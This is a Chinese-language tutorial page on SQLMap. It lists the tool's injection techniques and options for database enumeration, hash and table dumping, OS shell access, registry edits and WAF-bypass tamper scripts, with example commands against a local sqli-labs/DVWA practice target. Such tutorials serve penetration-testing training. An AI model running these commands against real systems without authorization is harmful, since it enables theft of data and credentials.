您当前的位置:首页 > 计算机 > 安全防护

渗透测试技术----工具使用(四)--SQLMap使用方法

时间:11-23来源:作者:点击数:
一、SQLMap介绍

1.SQLMap简介

SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞,内置了很多绕过插件,是一款自动进行SQL注入的非常好用的工具。

2.SQLMap支持的数据库

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等数据库。

3.SQLMap采用的注入技术

  • 基于布尔类型的盲注,即可以根据返回页面判断条件的真假的注入。
  • 基于时间的盲注,即不能根据页面返回内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面的返回时间是否增加)来判断。
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入,在可以使用Union的情况下的注入。
  • 堆查询注入,可以同时执行多条语句的注入。

4.SQLMap的功能

SQLMap的功能不止可以进行SQL注入查询,还可以进行数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实施任意命令。

5.SQLMap使用等级

0----只显示python错误以及严重的信息。

1----同时显示基本信息和警告信息。(默认)

2----同时显示debug信息。

3----同时显示注入的payload。

4----同时显示HTTP请求。

5----同时显示HTTP响应头。

6----同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是3。

注意:SQLMap需要python环境,但是不支持python3,因此在物理机上安装SQLMap时需要注意python版本。

二、SQLMap参数详解
1.获取URL的方法

(1):在SQLMap中直接输入URL

参数:-u或–url

(2):测试文件中的URL

参数:-m

例如:sqlmap -m sql.txt

(3):从文件中加载HTTP请求

sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)

参数:-r

例如:sqlmap -r http.txt

(4):处理谷歌的搜索结果

参数:-g

注意,在谷歌里面怎么搜,在-g参数后面就怎么写

2.请求

(1):请求方式

参数: --data=DATA

注意:默认是使用GET方式进行请求,可以使用- -data=POST方式进行POST请求

(2):指定cookie值

参数: --cookie=COOKIE

(3):指定User-Agent头

参数: --random-agent=User-Agent

(4):指定代理

参数: --proxy=PROXY

(5):使用匿名网络

参数: --tor=TOR

参数: --check-tor=CHECK-TOR

(6):指定header头

参数: --headers=HEADERS

(7):请求延时

参数: --delay=DELAY

(8):设定超时时间

参数: --timeout=TIMEOUT

默认是30s

(9):设置重试次数

参数: --retries=RETRIES

默认是3次

(10):HTTPS请求

参数: --force-ssl

或者是在HOST头后面加上:443

3.注入

(1):设置要测试的点

参数: -p=P

(2):设置不要测试的点

参数: --skip=SKIP

对于有些高等级的测试,如果不需要对其中默认的参数进行测试的话,可以使用–skip参数跳过某些参数

(3):指定数据库

参数: --dbms=DBMS

如果在明确数据库类型的时候,可以指定数据库类型来节省时间

(4):指定操作系统

参数: --os=OS

支持的操作系统有Windows和Linux

4.探测

(1):设置探测等级

参数: --level=LEVEL

参数等级为1-5,默认等级为1

(2):设置测试的风险等级

参数: --risk=RISK

参数等级为1-3,默认等级为1

(3):观察数据

参数:-v

一共有七个等级

  • -v 0:只显示python错误以及严重的信息
  • -v 1:同时显示基本信息和警告信息(默认)
  • -v 2:同时显示debug信息
  • -v 3:同时显示注入的payload
  • -v 4:同时显示HTTP请求
  • -v 5:同时显示HTTP请求
  • -v 6:同时显示HTTP响应页面
    一般最常用的测试payload最好的等级是3
5.技术

(1):设置探测的方法

参数: --technique=TECHNIQUE

支持的探测方法如下:

B: Boolean-based blind SQL injection(布尔型注入)

E: Error-based SQL injection(报错型注入)

U: UNION query SQL injection(可联合查询注入)

S: Stacked queries SQL injection(可多语句查询注入)

T: Time-based blind SQL injection(基于时间延迟注入)

(2):设定延迟注入的时间

参数: --time-sec=TIME_SEC

当使用基于时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒

(3):设置Union查询的字段数

参数: --union-cols

默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当–level为5的时候他会增加测试到50个字段数。设定–union-cols的值应该是一段整数, 比如10-12,是测试10-12个字段数。

(4):设定Union查询使用的字符

参数: --union-char

默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用–union-char指定Union查询的字符。

(5):进行二次注入

**参数: --second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。 --second-order后门跟一个判断页面的URL地址。

6.查看数据(重点)

(1):查看banner信息

参数: -b或 - -banner

(2):查看当前用户

参数: --current-user

(3):查看当前数据库

参数: --current-db

(4):查看数据库当前用户密码

参数: --password

当得到hash值后会尝试取破解

(5):查看数据库管理员权限

参数: --privileges

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,SQLMap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限

(6):查看数据库管理员角色

参数: --roles

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。

仅适用于当前数据库是Oracle的时候

(7):查看用户是否为管理员权限

参数: --is-dba

判断当前用户是否是管理员

(8):查看所有的数据库

参数: --dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库

(9):查看所有的表

参数: --tables

如果不使用-D来指定数据库的话,那么将查询出所有的表

(10):查看指定数据库的所有表

参数: -D 数据库名称 --tables

使用-D参数指定特定的数据库,然后查看该数据库下的所有表

(11):查看所有的列

参数: --colums

如果不指定数据库,那么将查询当前数据库的所有表的所有字段

(12):查看指定数据库的指定表的所有列

参数: -D 数据库名称 -T 表名 --cloumns

使用-D参数指定特定的数据库,使用-T参数指定特定的表,查询指定数据库的指定表的所有列

(13):查看数据库的架构

参数: --schema

使用该参数可以查看数据库的架构,包括数据库的库名、表名和字段名

(14):查看表中的数据的个数

参数: --count

使用 --count来查看表中的数据个数,如果使用-D指定数据库,则查询指定数据库的表中的数据个数;如果没有指定数据库,则查询所有数据库的表中数据的个数

(15):查看当前数据库中的所有表的数据

参数: --dump

使用 --dump来查看表中的数据,如果没有使用-D指定数据库,则默认查询当前的数据库的所有表的数据

(16):查看指定数据库的指定表的的指定字段的数据

参数:-D 数据库名称 -T 表名 -C 字段名(多个字段使用逗号分开) - -dump

使用-D指定特定的数据库,使用-T指定特定的表,使用-C指定特定的字段,那么将查询指定的数据库的指定表的指定字段的数据

7.常规

1.不再进行人机交互

参数: --batch

使用 --batch参数,在需要输入Y或N的时候不再需要输入,采用默认的行为

2.刷新当前目标的会话文件

参数: --flush-session

使用 --flush-session参数来刷新当前目标的会话文件

8.操作系统访问

1.运行任意操作系统命令

参数: --os-shell或–os-cmd

2.提示为OOB外壳,Meterpreter或VNC

参数: --os-pwn

3.运行自定义的SQL语句

参数: --sql-shell

4.从数据库服务器中读取文件

参数: --file-read

5.上传文件到数据库服务器

参数: --file-write或 --file-dest

9.爆破

1.暴力跑表名

参数: --common-tables

当使用–tables无法获取到数据库的表时,可以使用此参数

通常是如下情况:

1、MySQL数据库版本小于5.0,没有information_schema表。

2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。

3、当前用户没有权限读取系统中保存数据结构的表的权限。

暴力破解的表在txt/common-tables.txt文件中,你可以自己添加

2.暴力跑列名

参数: --common-columns

10.对windows注册表操作

1.读取注册表值

参数: --reg-read

2.写入注册表值

参数: --reg-add

3.删除注册表值

参数: --reg-del

4.注册表辅助项

参数: --reg-key, --reg-value, --reg-data, --reg-type

注意:这些参数需要配合前面三个参数一块使用

11.绕过waf的脚本

1.绕过常见的waf

参数: --tamper

使用方法:sqlmap -u xxxxx --tamper "模块名"

2.常用的tamper脚本

  • 将引号替换成UTF-8,用于过滤单引号
    apostrophemask.py
    -将字符替换为base64编码
    base64encode.py
  • 围绕SQL关键字添加多个空格
    multiplespaces.py
  • 使用+号替换空格
    space2plus.py
  • 使用双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器)
    nonrecursivereplacement.py
  • 将空格替换成其他有效字符
    space2randomblank.py
  • 将UNION ALL SELECT替换成UNION SELECT
    unionalltounion.py
  • 追加特制的字符串
    securesphere.py
  • 将空格替换成#号,并添加一个随机字符串和换行符
    space2hash.py
  • 将空格替换成其他字符号
    space2mssqlblank.py(mssql)
  • 将空格替换成#号,并添加一个换行符
    space2mssqlhash.py
  • 用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND替换等号(=)
    between.py
  • ASP允许在每个字符前面加一个%号
    percentage.py
  • 从DBMS日志的自动模糊处理的有效载荷中追加sp_password
    sp_password.py
  • 对指定的Payload全部字符使用URL编码(不处理已经编码的字符)
    charencode.py
  • 随机大小写
    randomcase.py
  • 字符串使用unicode编码
    charunicodeencode.py
  • 将空格替换为/**/
    space2comment.py
  • 将等号替换为like
    equaltolike.py
  • 绕过对">"的过滤,使用GREATEST替换大于号
    greatest.py
  • 绕过对IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)
    **ifnull2ifisnull.py
  • 过滤空格,使用MySQL内联注释的方式进行注入
    modsecurityversioned.py
  • 将空格替换成其他空白符和(适用于MySQL)
    space2mysqlblank.py
  • 使用MySQL内联注释的方式
    modsecurityzeroversioned.py
  • 使用空格替换为–,并添加一个换行符
    space2mysqldash.py
  • 在SQL语句之后用有效的随机空白符替换空格符,随后使用LIKE替换等于号
    bluecoat.py
  • 注释绕过
    versionedkeywords.py
  • 当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释
    halfversionedmorekeywords.py
  • 将空格替换为#号,并添加一个随机字符串和换行符
    spacemorehash.py
  • 使用非法双字节unicode字符串替换单引号
    apostrophenullencode.py
  • 在有效负荷的结束位置加载零字节字符编码
    appendnullbyte.py
  • 对给定的Payload全部字符使用双重URL编码(不处理已经编码的字符)
    chardoubleencode.py
  • 用一个多字节组合(%bf%27)和末尾通用注释一起替换空格
    unmagicquotes.py
  • 使用/**/分隔SQL关键字
    randomcomments.py
三、SQLMap使用案例

1.判断是否存在注入

sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --batch

在这里插入图片描述

得出后台数据库的类型,操作系统是Windows,并且使用的是Apache2.4.23,数据库版本大于5.0

2.查看当前数据库的库名

sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --current-db --batch在这里插入图片描述

3.查看数据库的当前用户

sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --current-user --batch

在这里插入图片描述

4.查看所有的数据库

sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --dbs --batch

在这里插入图片描述

5.查看所有的表

sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --tables

在这里插入图片描述

6.查看所有的字段

sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --columns

在这里插入图片描述

7.查看所有表中的字段

sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --dump

在这里插入图片描述

8.查看dvwa数据库中的表

sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 -D dvwa --tables

在这里插入图片描述

9.查看dvwa数据库的users表的字段

sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 -D dvwa -T users --columns

在这里插入图片描述

10.查看dvwa数据库的users表中每个字段对应的值

sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 -D dvwa -T users -C user,password --dump --batch

在这里插入图片描述

11.查看当前用户是否是管理权限

sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --is-dba

在这里插入图片描述

12.查看数据库管理员角色

sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --roles

在这里插入图片描述
四、SQLMAP脑图
在这里插入图片描述
方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门